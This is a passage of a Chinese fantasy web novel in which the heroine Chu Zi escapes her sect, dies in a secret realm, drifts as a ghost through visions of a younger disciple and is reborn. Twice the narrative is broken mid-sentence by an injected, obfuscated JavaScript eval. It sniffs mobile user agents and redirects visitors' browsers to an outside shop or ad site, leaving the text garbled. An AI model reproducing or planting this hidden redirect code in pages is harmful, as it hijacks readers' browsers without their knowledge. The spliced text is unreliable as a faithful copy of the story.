这句话褚恣简直不敢细想,原来镜中前辈没有骗她,她所在一切都是虚妄,十六年来她以为自己洒脱恣肆不受长生宗教条约束,实则仍是被人摆布的木偶,而背后的操线者,竟是自己最亲近信任的师兄! 为何褚无晦一定要她进同尘学宫?他与黎白衣用尽手段将她困在这场假象幻梦之中,目的到底是什么? 她想不到,决心自己去找寻答案,身后却有人一把拽住了她。 “师妹!”是褚无晦。 他胳膊上的伤还没好,这一下用力,衣上隐隐有血迹渗出来,他浑然不知痛一般,满眼俱是摇摇欲坠的褚恣。 褚恣“恍然惊醒”,才发现脚下已是悬崖绝壁,进一步则坠入万丈寒渊,粉身碎骨。 “师兄,我怎么会在这儿?” “你梦游之症又犯了,不要怕,到师兄这里来!”褚无晦一步一步引着褚恣往回走,自己却独自逼近绝壁,面无表情俯瞰深渊之下,若有所思,任风雪白头。 褚恣一回到床榻便从枕下掏出铜镜,诘问道:“我与前辈一见如故,前辈何以诓骗我至悬崖害我性命?” 镜中人解释道,“凡是假象皆百密一疏,而那处悬崖便是我的人费时数十年才找到的一处疏漏,你从那处一跃而下便可脱离假象回到真实世界。” “小五,吾若真想害你,又何必耗费如此人力物力满仙门的寻你?” 他露出一丝苦笑,茶色眼眸微垂,眸光渐渐黯淡下去,似玉像失去清润的光彩,俨然是被褚恣的疑心所伤。 褚恣忙安抚道,“叫前辈寒心,是晚辈的不是,明日我寻机再去一次,到了真实世界,定亲自登门赔礼。” “不必再去了,吾方才得到消息,那处疏漏已被修缮,你再去无益。” 这么快?自己回到竹林小筑不过一炷香的功夫,师兄不仅发现了疏漏,还将其修缮了? 褚恣只觉不寒而栗,师兄能这么快修缮疏漏,想必很快就能发现镜中前辈的存在,整个长生宗又在他的监控之中,届时她再想离开简直难如登天。 褚恣赶紧问:“敢问前辈,可还有其他秘道?” “最后一个秘道在长生巅秘境。” “小五,如果你再错失良机,恐怕将困死在假象当中,吾也无能为力。” 褚恣当机立断要离家出走进入秘境,不过离家出走前得先找个法子安定好豹豹。 猞猁嗅觉异常敏锐,褚恣从前不管是偷溜到哪处险峰奇境,豹豹总是能将她找出来叨回家,所以得先委屈一下豹豹。 她将自己夜里剩下的半碗梅花甜羹哄着豹豹喝下,效果几乎立竿见影,向来在夜里精神抖擞的猞猁打起哈欠,趴在床上沉沉睡着了。 褚无晦觉浅,褚恣等到夜半时分,确定他神识俱敛气息归元,立时掐诀隐了声息偷溜出去。 及至平旦,褚无晦睁眼醒来,站在褚恣卧房外隔窗相望,褚恣被子蒙过头顶睡得正酣,他放下心回到房间正衣冠、敬神明,开始早课诵经。 只是不知为何,褚无晦这一早上一直心神不宁,许是前一夜不知是巧合还是蓄意师妹梦游竟偏偏至那处悬崖,又许是同尘学宫入学将近让他感到一丝不安,总之早课一结束,褚无晦再次来到褚恣卧房。 床榻上的人依旧保持原样,鼾声轻匀。 褚无晦却眉间一皱,不对! 他大步走近床榻掀开锦被,床上只有豹豹蜷成一团睡得香甜,哪里还有褚恣的影子! 褚无晦赶紧以传信金铃呼唤褚恣,可褚恣的金铃声却自枕下响起。 师妹竟连传信金铃也没有带! 褚无晦险些呼吸一窒,心中那股不祥的预感愈演愈烈,师妹定是趁夜偷跑出去了!只是这一次猞猁睡得太死,怎样扒拉也无动于衷,他只好先去隔壁药庐将黎白衣拽过来给豹豹醒神。 这一去又注意到,昨夜落雪,满地积雪上有一串清浅脚印,正沿着竹林小筑一路向东南方向而去。 褚无晦立时捏诀追踪至山门,却发现脚印尽头,是一只半人高的偶人,是自己从前亲手为褚恣刻的。 师妹竟对自己设下圈套,很好。 褚无晦从地上抱起偶人,一双眼睛无波无澜,只有翻腾成墨的瞳色暴露出他此刻的心情。 …… 而此时的褚恣,已经误打误撞闯进了传闻中的秘境。 按理,进入秘境须天时地利机缘缺一不可,否则人人都可进、时时都能进不就成了话本里的菜市场了?还如何叫“秘境”? 可褚恣说不好,她进入这秘境简单得就像回竹林小筑推开院门一般。 顺畅得让人心生反常。可很快褚恣便被秘境当中的景象吸引了目光。 此间夜色浓稠,周天星辰明耀,近可登天手摘。待到褚恣走近些才发觉,非是夜色浓稠,而是一棵参天古木直入云霄,枝叶繁茂如浮云一般遮天蔽日,而她先前以为的周天星辰,不过是颗颗缀在枝叶间的莹润果实。 褚恣在古籍上看到过,此间乃永夜境,无昼无昏,永夜难明,唯有一棵白玉菩提树三百年成林、三百年开花、三百年结果,结出的白玉菩提便是此间的无数星辰。 褚恣忽然想到,师兄素喜白玉菩提,连发冠都是白玉菩提做的,左右已至树下,不如摘下一些日后找机会送给师兄。 这样一想,身子已凌空登上百尺来高的枝头,刚以金簪摘下一颗脚下忽然一阵震颤,不由细想,细细密密的枝叶之间竟飞出一群青首玄身的怪鸟。 褚恣这才想起,古籍记载,白玉菩提树群居着雀头青,以人为食,不死不休,难缠至极。 褚恣忙捏起护身法诀,谁知这能抵修士致命一击的法诀竟对雀头青毫无用处,一些雀头青如闪电般疾驰而来,尖喙啄下血肉,腥气立时弥漫开来。 褚恣吃痛,抖落身上的雀头青,催动灵炁化作箭雨出弦,虽挡住了一小波雀头青的攻势,血腥气却引来了更远处的雀头青,窸窸窣窣如黑云压境一般。 这样多的雀头青,饶是修为再高亦会被生生耗死。褚恣一面躲避雀头青的追踪,一面思索应对之策,千钧一发之际,似是有人在耳畔提醒,“走这边!雀头青畏水!” 褚恣往前一看,果然看见前方一道飞瀑若银河直下,来不及细想赶紧纵身闯入飞瀑之中,将雀头青挡在瀑流以外。 瀑布背后,是一处幽深隐秘的山洞,处处奇花异草,褚恣从药囊中取出药粉处理伤口,瞥见洞边生长着可以镇痛的醴草。恍惚间脑中闪过一个画面,自己似乎来过此处,身旁有一个人,将醴草随手卷好递向自己。 出神之际,她并未注意到有东西在向自己靠近。 …… 另一边,褚无晦回到竹林小筑,此时豹豹已醒,“嗷呜嗷呜”叫得急切,褚无晦安抚地摸着猞猁的耳朵:“豹豹,师妹这几日的异常是巧合还是有人蓄意引诱?” 豹豹从床上一跃而下,伸出爪子在褚恣的箱奁一阵翻腾,最后献宝似的叨出一面铜镜给褚无晦看。 镂花斑驳,镜面血迹已成铁色,褚无晦仔细端详片刻,冷冷吐出几个字,“三清天。” 黎白衣凑过来,“果真是三清天的手笔,镜影寻踪术是海市的秘术吧,看来那位这次将瀛洲也牵扯进来了。” 褚无晦不答,眸色晦暗不明,薄唇轻启,“破。” 不过短短一个字,掌中铜镜霎时化作金粉。褚无晦指尖掐诀起式,脚下立时有金光震荡开来,迅速扩散至整个长生宗。霎时,长生宗内不论尊长还是弟子,纷纷定住,似是被人施了定身诀。 “长生宗听令,封山彻查,找出师妹。” 褚无晦口令方落,整个长生宗再次动起来,不管是在打坐还是在诵经,纷纷放下手中事务,从各自宫舍悉数出动,恨不得掘地三尺将褚恣找出来。 豹豹追踪着雪地里褚恣残留的气息,一路追踪至昨夜褚恣“梦游”来到的悬崖处,却只在崖边看见了一双鞋。 褚无晦眉峰紧蹙,意识到了不对。 师妹故意在雪地留下脚印,就是为了将自己误导至山门,那她定然会想到豹豹能追踪气息,那此处的这双鞋必然是为了误导豹豹。 他迫使自己沉下心来。 方才找不到褚恣自己险些乱了心智,这会儿冷静下来竟有了一点思绪,师妹之所以突然消失定然是受了三清天的影响,那么三清天会同师妹说些什么呢? 定是蛊惑师妹离开长生宗,而离开长生宗除了宗门,便是—— ——永夜境那处秘道! …… 此时,永夜境中的褚恣却遇见了十分棘手的大麻烦。 方才走神,她并未注意到山洞深处缓缓走出来一只状貌如羊、九尾四耳的妖兽。 这妖兽眼睛生在背上,褚恣不过好奇看了一眼,猛然感到一阵眩晕。 失去意识前她迷迷糊糊想到,这似乎是传闻中的凶兽猼訑(boyi)①,有传言称直视猼訑的眼睛,会堕入无边梦魇,看见此生深埋心底的最惧怕之事。 想来自己这十六年来并无龃龉,应当、或许、可能没什么惧怕之事……吧! 褚恣再次醒转时,自己已身处一间暗室。 室内陈设简单整洁,四面墙上挂满山水花鸟画作,墙下设软榻案几妆台,上设香鼎盆景等玩器,右临着一张绣床,上悬月色罗帐,而褚恣身前是一张紫檀木画案,胭脂、群青、藤黄等各色颜料散乱摆放,自己手中正握着一支狼毫俯身作画,画已初具雏形,是一副《莲动渔舟图》。 这便是自己的梦魇?并无可惧之处嘛!反而因着烛火明灭,暖光融融,褚恣觉出几分温软。 下一刻,一人推门而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486078|202018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入,冷啸山风穿堂而入,数十盏烛火剧烈摇动。 褚恣放下手中画笔,抬眼看向来人。 是褚无晦。但不是褚恣记忆中的褚无晦。 此人眉目更为清绝,气质更为孤冷,也并未绾着素来一丝不苟的发髻。白玉菩提冠只绾起半髻,余下青丝垂落至清瘦腰侧,并着那一袭隐隐流光的墨缎长袍,竟衬出几分艳色。 褚恣想问师兄怎么在这里,开口却是:“玄晖君,深夜来此,有何要事?” 她从未这样生分地唤过师兄。 褚无晦眸中有烛火曳动,他将手中酒坛放下,双眸紧紧盯着褚恣,半晌,才面无表情道:“向你道喜。” 天尊!这还是她认识的那个溺爱自己的师兄吗? 俨然不是,自己也不是“自己”,褚恣听见自己轻笑:“长生巅禁酒,玄晖君是要犯禁?” 褚无晦不理,只是拿出杯盏斟酒。这盏酒斟得太满,溢出来的酒液沿着他的手滴落,修长手指在烛火下似是发光:“褚绥意,你明日便要结契了,我来祝贺你找到道侣。” 这夜褚恣也不知道自己喝了多少酒,醉意沉沉间,她似乎看见那副莲动渔舟图动了起来。 渔舟缓缓划入河道,挤弄着两侧莲叶轻颤,及至湖心时忽逢夏雨骤临,雨打风吹湖水荡漾,渔舟只能随波颠簸,直至骤雨初晴渔舟自横。 再睁眼已是翌日平旦,褚恣看清当前混乱局面的一刹那,浑身的血骤然凉透,连心跳都骤停半拍。 她和褚无晦躺在一张床榻之上,双双坦诚相见,不仅如此,无情道剑修如玉般的肌肤上还遍布着不堪入目的痕迹。 ——她、竟、然、把、褚、无、晦、给、睡、了! 醉酒误事啊醉酒误事! 这还不是最可怕的!最可怕的是,她和褚无晦的无名指上,不知何时,已经落下了道侣契印! 褚恣当即魂都飞了一半,褚无晦恰在此时长睫轻颤,悠悠转醒。 两人就这样你瞪着我、我瞪着你,相顾无言。 良久,褚恣想说些什么缓解尴尬,向来妙语连珠的嘴此时却越说越艰难滞涩:“冒、冒犯了玄晖君,昨夜醉酒……我、我将你……当、当做了卫昭。” 素来洁身自好的玄晖君气到浑身发颤,一双眼覆霜染雪,冷冷道:“出去。” 褚恣却分心瞧见这人眸底水光潋滟,别有一番风情。 见她没有动作,褚无晦重复了一遍:“褚绥意,滚出去!” 褚恣如梦初醒,连滚带爬,恨不得立马从梦魇中挣脱出来。 吓死人!她怎么会对冰清玉洁的师兄干如此不是人的事呢!! 褚恣跌跌撞撞闯入冰天雪地之中,她也不知道自己在风雪中行走了多久,只疲倦地想到,这梦魇怎么还未结束? 又行过许久,褚恣神情恍惚,瞧见一道清瘦人影自肆掠风雪中提剑而来。 等人近了,她才看清来人正是褚无晦。 他面上没有一丝波澜,眉眼冷过长生巅千重白雪,褚恣还未来得及开口,已被他一剑捅了个对穿。 她重重地倒在雪地上,积雪逐渐覆满周身,天地渐白,意识如轻烟一般涣散。 褚恣惊觉这梦魇竟如此真实,挣扎着用尽周身力气费力睁开双眼,终于摆脱梦魇回到永夜境的山洞之中。 耳畔飞瀑潺潺,洞中芳草萋萋,凶兽猼訑早已不见了踪影。 褚恣猛吸一口气,却呛出大口血沫,她这才发现,一柄短剑正贯穿自己的心口。 剧烈地疼痛让她清醒地意识到,这并非梦魇。 草丛深处走出一个瘦高的老头,正是长老韩巫子,阴鸷眉眼处还溅着褚恣的血。 “褚绥意,你肆意狂妄,不配为长生宗弟子,别怪老夫清理门户!”他的声音有些奇怪,不似平日苍老浑厚,反倒有些不符年龄的年轻,说完便一把将短剑从褚恣心口抽出迅速离去。 褚恣倒在血泊中,弥留之际,似乎感到有人在轻轻抚摸自己的脸。 带着极力的克制,生怕将她碰坏了一般。可惜褚恣已无力睁开双眼,看看来人到底是谁。 “好可惜啊师姐,明明马上就能见到你了。” 唇红齿白的俊艳少年蹲在褚恣身旁,修长手指从褚恣紧阖的眉眼游移至冰凉的唇。 下一瞬寒锋携风而至,将他的手死死钉在地上,他的血与褚恣的血融在一起。 褚无晦迟来一步,只见地上一大片刺目的血红,少女衣裙已被血浸湿,再无半分生机。 “阿恣!”黎白衣跌跌撞撞地向褚恣跑去,褚无晦却率先一步挡在他前面,冷冷踢开地上的少年,将褚恣珍重地抱在怀里。 少年浑然不觉地痛似的,固执地挡住了褚无晦的去路,“把师姐还给我。” 双方冷漠对峙之时,飞瀑逆流,天地倒悬,世界逐渐开始崩塌。 少年嗤笑道,“这么多年你都护不住师姐,再来一次我会取代你,站在师姐身边。” 4. 004 入归墟难想重生易 人死之后魂入归墟,褚恣却不知归墟在何处。她的魂魄四处求索,悠悠荡荡行过茫茫雪地,雪地尽头有一处宫观蔚然屹立。 这宫观依山势起伏,绵延数百里,琉璃为瓦,白玉做壁,在冰天雪地中显得尤为冷清。 这便是归墟么?归墟不是在东海吗?怎么会在山上? 褚恣将信将疑叩门而入。 前殿院中一鼎青铜香炉尚有余烟袅袅,殿内供着长生宗开宗祖师长生大帝,原来这里仍是长生宗。 褚恣从前仗着师兄的纵容,将长生宗大小宫舍祸害了个遍,却从未见过宗门内还有这样一处宫观。 她正想退出去,却听见一阵隐隐切切的哭声从内殿传来。 褚恣没捱住好奇,顺着汉白玉阶往宫观里面走,只见内殿殿门紧闭,殿前雪地中跪着一团小小的身影,素衫玄袍,似是某位长老门下的小弟子。 一道苍老浑厚的声音从内殿传出,带着严厉的斥责:“一个小小的护身法诀,你学了一整日还学不会!” “那褚恣一进仙门便无师自通学会了护身法诀,你生在仙门,竟连一个凡人都比不上!” “你就跪在此处,何时学会护身法诀,何时才准起来!” 天地间又静了下来,大雪纷纷落下。 若这小弟子有法诀护身,尚能避开风雪,可他看上去不过垂髫,如何能立时学会这样复杂的法诀?这样受冻,怕是还没学会掐诀人就冻傻了! 这长老可真狠心! 不多时童子身上已积了一寸的雪,褚恣实在不忍心,掐了个护身法诀护住童子,凑近一看却忍不住一惊。 童子生得唇红齿白,眼眶中还盈盈有泪,浅苍瞳色却已静若止水。分明还是应当被长辈宠爱得无法无天的年纪,却在雪地中跪得笔直。 这模样、这气质,怎么会那么像她师兄褚无晦! 不!就算是褚无晦,也生不出这么像的! 童子止住哭声,一遍又一遍重复变幻指诀,褚恣按捺住惊疑的心思,强按住他的手,惊觉这手跟冰沁似的。 “护身法诀不是这样掐的,”她将童子的双手捧在掌心,将热气渡了过去,待童子稍稍暖和了些,一个指法一个指法拆解清楚向他示范。 童子一步一步跟着学。 “对,就是这样,将灵炁聚顶,再汇于丹府,念诀,‘天地玄宗,万炁始清,受持金印,覆护坛庭。’” 童子指尖迸发出强烈的金光,褚恣欣喜道:“对!你看!你学会了!” “真厉害啊!我只教了你一遍你就学会了!” 童子这才抬眼看她,眼底并无欣喜,神色淡漠得近乎死气。 这表情同师兄生气时一模一样!褚恣乐道,“你是哪个长老门下的小师弟啊!我叫褚恣,你可能没听过我的名字,但你一定听说过我师兄的名字吧!他叫褚无晦吧!是长生宗首席大弟子!” “我听说过你,”童子忽地变了脸色,怒气冲冲地将褚恣往雪地里一推,“我讨厌你!” 褚恣并不会同个小孩子计较,心道不得在此处停留,还是得赶紧去往归墟,否则过了时辰便会魂飞魄散。她正欲沿着来路往回走,谁知一转身,来时的内殿、汉白玉阶统统不见了,她在迷宫一样的宫观里转了半天,暮色越来越浓,天空还隐隐传来闷响。 是冬雷。 还是不要趁打雷夜行了,万一一道天雷劈下来,岂不是直接灰飞烟灭? 褚恣这样一想,打算在此借宿,可这偌大宫观竟连一个人影都没有,只好找到一处无人的厢房,道了声“失礼”便推门入内。里面被褥床帐俱是新的,似是专门为她备下的,褚恣方点上灯盏,房门被人叩响。 是白日里撞见的小童子,他抱着一床厚厚的被褥,抬眼望向她时眼圈红红的,“师姐……我可以进来吗?” 褚恣走到童子跟前蹲下,笑意盈盈:“进来可以,但你要先告诉我你是谁?” “我叫暮云遮,是长虚真人座下弟子。”这一次童子乖巧回答道。 说完又将被褥抬高一些挡住下半张脸,只露出一双水汪汪的大眼睛:“师姐,我不是故意要将你推倒在地的,我、我控制不了。” 褚恣笑着摸摸暮云遮的头:“我并没有放在心上,没关系的,你快回去休息吧!” 说完便要转身,却被童子拽住袖摆,他怯怯开口:“师姐,今夜打雷,你……能不能陪我一起……” 褚恣想起自己小时候也怕打雷,夏天总是赤着脚哭着去找师兄,最后是在师兄轻声细语的童谣声中睡着的,于是对童子敞开怀抱:“别怕,师姐陪着你。” 反正明日她便要前往归墟了。 这一觉不知睡了多久,褚恣醒来时身边的童子已经不见了踪影,偌大的宫观一点儿人声都听不见,褚恣收拾好也不再停留,这次倒让她找到了宫观的出口。 她沿着石阶往山下走,越往下走积雪越薄,到后面竟是一派郁郁葱葱、山色青翠之景。 她生前想尽办法要出长生宗的山门,未曾想死了以后轻轻松松出来了! 褚恣正感慨,远远瞧见郁郁松林间站立着一道瘦瘦高高的身影,尔后暮云遮从林间一路小跑至那身影跟前,脸颊上终于露出一丝孩童应有的欣喜: “师父!弟子此行入剑冢,召出了三把命剑!” 那身影背对暮云遮,冷哼一声:“不过是三把剑而已,便如此得意忘形。” “那褚恣入仙门不过一年便升能境,而你却花了六年时间!” 童子脸上的笑意立时黯淡下去,似是枝头开得正灿的白梅,却逢天公不作美下了一通冰雹被打得蔫了头。 褚恣心中愤愤,修真之人六岁入能境已是天赋异禀,这老头好不讲理!何苦非要拿自家弟子跟我相比? “长生巅内不可疾行,便罚你在此处练剑练到天黑。”说罢便拂袖而去。 暮云遮闷闷应了声是,便不知疲倦在原地挥起了剑。不知过了多久,他的长袍全部被汗水浸湿,也未曾停下片刻。 谁曾想骤雨瓢泼而至,林间雨线如注,褚恣隔着雨帘连他那团小小的身影都看不清了,他还在一遍又一遍地挥着剑。 褚恣左右看了一眼,正瞧见林下有一株芭蕉树,赶紧折了一片大芭蕉叶跑向暮云遮:“这样大的雨,怎么也不避一避?” “师父罚我在此处练剑,师姐,你退开一些,当心伤到你。” 屁大点的孩子,怎么如此死脑筋! 褚恣避过剑锋向暮云遮使了个定身诀,拉着动不了的孩童一路找寻避雨之处,暮云遮起初还很抗拒,跟着褚恣在山间四处狂奔竟逐渐得了童趣,芭蕉叶竟成为一方护佑孩童展颜的天地。 暴雨山霭之中,有一小女孩远远撑伞而至,暮云遮瞬间敛了笑容,又摆出褚恣初见时那副淡漠神色:“姜师姐,幸会。” 小女孩比暮云遮要高出半个头,生得玉雪可爱,眉眼似松间清雨灵秀通透,一身衣裙未染半点尘泥,立定后先朝褚恣行了修士间的见礼:“晚辈长霄真人座下弟子姜雪霁,见过前辈。” 礼数周全,不卑不亢,褚恣却在心里狠狠腹诽:可恶的宗门规矩!让这样可爱的小师妹小师弟小小年纪就一把年纪了! 她看姜雪霁的眼神又怜爱三分:“我叫褚绥意,你可以同他一样叫我师姐!” 褚恣轻轻戳着暮云遮板起的小脸,姜雪霁依礼唤了声“褚师姐”,这才将不紧不慢交代来意:“师父说你在此处受罚,叫我过来为你送把伞。” 说着便从背后取下一柄油纸伞递过去,暮云遮道:“多谢长霄真人,但不必了,我与师姐已经有伞了。” 姜雪霁早注意到褚恣手中的芭蕉叶,虽是极力忍耐着,视线仍止不住三番五次朝那芭蕉叶望过去,眼底是掩不住的艳羡之意。 小孩子嘛!本就喜欢这些稀奇古怪的玩意儿。 褚恣干脆将姜雪霁一同拉进芭蕉叶下,这叶片青翠无缺、直挺阔大,容下她们三个绰绰有余。 三人就这样在芭蕉叶下挤作一团,眼前雨丝如线烟笼松林,耳畔雨落松针沙沙作响,空山寂寂,松风伴雨,三人不约而同放缓脚步,生怕扰乱这片刻的静谧安宁。 行至山门前,雨势渐收,夕阳斜照,褚恣抛开芭蕉叶,回首来时萧瑟处,眼睛一亮,欣喜地指着天边:“快看!那是什么!” 两个孩子齐齐顺着她手指的方向看过去,只见天际一道彩虹横空,流光映翠,山色如洗,不约而同发出感叹:“哇!” 这才像小孩子嘛! 褚恣这样想,再次低头时,暮云遮与姜雪霁却统统不见了踪迹。 果然还是幻象! 褚恣与山门作别,继续赶路下山。 不知道这一路走了有多久,此间没有日月轮换,魂魄也不知疲惫,褚恣只看见周遭景色已从翠青渐作苍黄,后又褪进华彩满目银装。 褚恣仍未走出这座山。 她记得自己分明一路向下,谁知却已行至另一处高峰之上。 皑皑雪山中,零星可见三两道人影。褚恣正想前去问路,又见半空中一小少年御剑而行。 流光长剑穿云破雾,剑身上少年身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486079|202018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姿如列松积石,长袍翻飞似鹤入云霄。是暮云遮,他似乎长高了不少,面色依旧淡漠清绝,眼底却藏着几分少年锐气。行至那几人上空时便从剑上一跃而下收剑入鞘站定行礼,一套动作行云流水,很是赏心悦目。 “师父!弟子已学会御剑,可否下山去看看山外的景色?” “才学会御剑便如此自得,你可知那褚恣半年前便独自驾驭异兽云鲸,昼行七百里前往无妄海,只为一闻《梵音西行》。” 那老道人虽是背对褚恣,但她已能想象得到,那张呆板的脸上是如何的吹毛求疵。 等等!自己是有一坐骑云鲸,可她什么时候出过长生宗? 这老道人口中的“褚恣”,还是自己么? “师父教训得是,弟子定加倍修炼。”暮云遮眼底那点少年意气渐渐消散,那老道仍不满意,头也不回便直接离去。 另有两道一高一低的身影走向暮云遮,稍矮一点的是个少女,身姿似昆山冰玉,眉眼有秋水寒烟,冰肌玉骨,翩若惊鸿,足以见日后是怎样的清逸出尘。 直至她开口,褚恣才认出这少女便是姜雪霁,她的声音仍旧似幼时那般轻灵:“师弟,你只用了一遍就学会了御剑,已经很了不起了。” 说完又转身向稍高一点的人影,神色有些自责:“师父,弟子愚钝,御剑飞行仍不得要领,还请师父再指点一二。” 她师父长霄真人已近中年,眉目清肃,不苟言笑,周身上下亦无金簪玉环妆点,只以一枝极素雅的紫藤花簪子挽了个发髻,使得整个人看上去十分利落,不怒自威。 见徒弟懊恼,她脸上却不见厉色,只道:“御剑飞行对于你这个年纪来说,的确不易,来,为师亲自示范给你看。”说完将姜雪霁一把拉上自己的命剑,师徒二人很快凌空而去。 天地之间,一时只剩下暮云遮孤零零地一人。 褚恣来到暮云遮跟前,修长的影子挡住少年眼前刺眼的雪光,轻轻笑道:“我方才看见有位少侠御剑飞行,可威风了!小师弟可看见那位少侠了?” 暮云遮抬头看向她,眼尾立时红了一圈,“师姐……” 褚恣向他伸出手:“师姐找不到路了,少侠可愿带个路?” 不管褚恣说什么,暮云遮自然是愿意的,只是…… “师姐,我们这样……真的好么?” 褚恣正载着暮云遮体验她最喜欢的滑雪。仙器名剑是不一样,比她从前的木板快多了!周遭景色疾驰而过,耳畔疾风呼啸,暮云遮在她身后很有礼数的虚环着她的腰。 “这有什么不好!你看,从这高处一路滑下去,烦扰都被抛却在身后,追都追不上你……小师弟,抓稳了!下面有个大急弯!” “呜呼!”这面山坡积雪厚、坡度长,这一下滑下去,简直说不出的畅快! 褚恣双眼紧盯前方,她可不想成了魂魄了还摔个狗啃泥! 暮云遮盯着少女飞扬的碎发,一颗心砰砰直跳,忍不住想要凑得更近,将头埋在她颈肩。 谁知褚恣却忽然回头。 他像是刚要做坏事忽然被抓包,一时浑身僵硬:“怎、怎么了师姐?” 褚恣蹙着眉:“有人在叫我。” “是谁?” 褚恣仔细听辨,那声音却异常渺远:“许是游神,在召我入归墟。” “不要!”暮云遮双手死死环住她的腰,“师姐,别走!” 她也不想走啊!可她早就死在韩巫子那一剑之下了! 褚恣苦笑,正要开口,却未留意到脚下已经腾空,她只来得及唤了声“小心”,整个人已从高空摔了下去。 褚恣两眼一黑,那游神早不来晚不来!偏偏在大转弯时来!竟真让她一不留神摔了个狗啃泥! 褚恣睁开眼起身,却发现周遭一片昏暗。 “小师弟!暮云遮!”褚恣大喊。 回应她的只有沉沉回音,涟漪一般一圈一圈漫开,渐远渐轻,空灵幽邃。 看样子她不像是摔在雪地上,倒像是掉进了某个山洞。 先前滑雪遇到雪崩的记忆再度苏醒,褚恣解下金铃照明,看清周遭环境后,整个人骤然一滞,面色煞白,满目惊愕。 她所在的确是个山洞,高约三丈,深有百仞,洞内杯盘盏碟散落一地,角落处堆着数只酒坛,泥封未启,酒香依旧。 她用力掐了自己一把。 疼! 不是梦! 眼下处境虽然荒诞到让她匪夷所思。 但是,她似乎、好像、的确—— ——重生了! 5. 005 是梦似幻是假似真 褚恣重生了。 重生到了三日前,她因遇见雪崩而慌不择路逃进去的那处山洞中。 洞中狼藉依旧,酒坛还是那个酒坛,可这一回,褚恣将洞里所有地方都找遍了,唯独没有找到那面镂花斑驳的铜镜。 镜中人、剑冢、秘境、凶兽猼訑,似乎不过是她受惊而生的臆想,书上说,人受困于雪地里容易产生幻觉。 当真是幻觉吗? 褚恣端详着手臂上的伤口,那处的血已经止住,凝成了一道鲜红刺目的血痂。她不再做无谓的寻觅,幻觉也好、梦境也罢,出去一探便知。 凭她的修为,这小小的山洞自然困不住她,只是上一次镜中人所言太过荒谬,她一时不知该如何面对褚无晦,只好装作昏迷。 她收好金铃向洞口走去,手中指法迅速变幻掐出一个搬山诀,修长五指覆在洞口雪墙上,轻言道:“破!” 灵炁自掌心澎湃而出,伴随“轰隆”一声巨响,洞外积雪炸开一个一人多高的口子,刺目的雪光霎时透进昏暗洞中,褚恣缓了好一会儿才适应过来,甫一出洞,一团毛茸茸的巨大灰影猛地朝她飞扑过来。 豹豹丝毫没有作为一只百来斤的灵宠能将人压垮的自觉,好在褚恣反应迅速,调整身形才没有被撞飞。 猞猁两只前爪撑在她肩上,凑近她颈项仔细嗅闻,似是在仔细检查她是否受伤,褚恣承受着自家灵宠沉重的关心,一面将豹豹从身上扒下来,“好了好了豹豹,我没事,别担心。” 褚无晦却注意到,她雪白手腕上那块刺眼的血痂,方才放下的一颗心又提了起来:“你受伤了?” 褚恣小时候调皮,磕绊是常有的事,偏偏她对疼痛的阈值感知较高,受伤了也不会哭着喊痛,倒是褚无晦,对自己受伤不甚在意,但见到褚恣受伤却紧张得不行,伤口但凡一点见了血他便要仔细查看反复确认无碍才肯放心。 这一次他的手刚伸出去,褚恣却触电一般后退半步,少年那只骨节分明的手尴尬地晾在半空。 “……” 褚恣的良心和理智疯狂打架,梦魇中种种是非一时占据上风。若在梦魇中发生的一切是真实存在的,那或许是未来对自己的警示。 师兄这朵高岭之花,只可远观不可亵玩,否则便会落得梦魇中那样惨淡下场,她可万万不能走上这条不归路啊!! “一点小伤而已,已经没事了。”褚恣嘻嘻一笑。 褚无晦微怔,长睫轻眨,藏起眸底那点一闪而逝的无措:“……无事就好。” 褚恣这才注意到师兄的长袍浸了雪水起了皱褶,发丝散落下来,感知到她有危险后他一定是匆忙赶过来的,再也顾不得什么“长生宗内不可疾行”“衣必整,冠必正”的规矩礼法,他不再从容有度、一丝不苟,甚至还有几分狼狈。 褚恣忽然有些心酸。 原来那日昏迷时,师兄竟是这样找过来的。 褚绥意啊褚绥意!不能狎昵冒犯师兄,但也不能伤了师兄的心! 死嘴!快说些什么哄师兄开心啊! 褚恣这样想,却忽而闻到褚无晦身上一丝若有似无的甜香,应是为她准备糕点时沾染上的,被雪山的冷意沁润后多了几分清冽,甜言蜜语化作口腹之欲:“师兄今日准备了杏仁乳酪?” “嗯,按你往日的口味多加了两勺桂花蜜。”褚无晦带着她往回走,步履轻盈,是平日难得一见的松快,连话也多了不少,“这个时辰你不在练剑台,在这里做什么?” 这一次,褚恣没有将与韩巫子的冲突告知褚无晦,只是说自己一时兴起,偷溜到此处滑雪却意外遭遇雪崩。 “晌午时赵师弟送来一块鹿肉,你今日受惊,正好吃些鹿肉压压惊。”回到竹林小筑,褚无晦便进了厨房准备褚恣的夜宵。 鹿肉炙烤,杏仁乳酪作甜点,又恐褚恣夜里吃了油腻积食,还备下一些姜茶。 褚恣见师兄无心看顾自己,依着记忆中的路线,偷偷来到宗门西北角。这里明面上是宗门禁地,实则是长生巅剑冢,褚恣正是在此处发现自己并非长生宗剑道弟子。 可是这一次,她依着记忆,将金铃放进巨石上的锁扣,掐生门诀念口诀,锁链却纹丝不动,漫漫云海之中也并没有出现那座藏着万千名剑的孤峰。 乱石中罡风呼啸,似是在嘲笑她的异想天开。 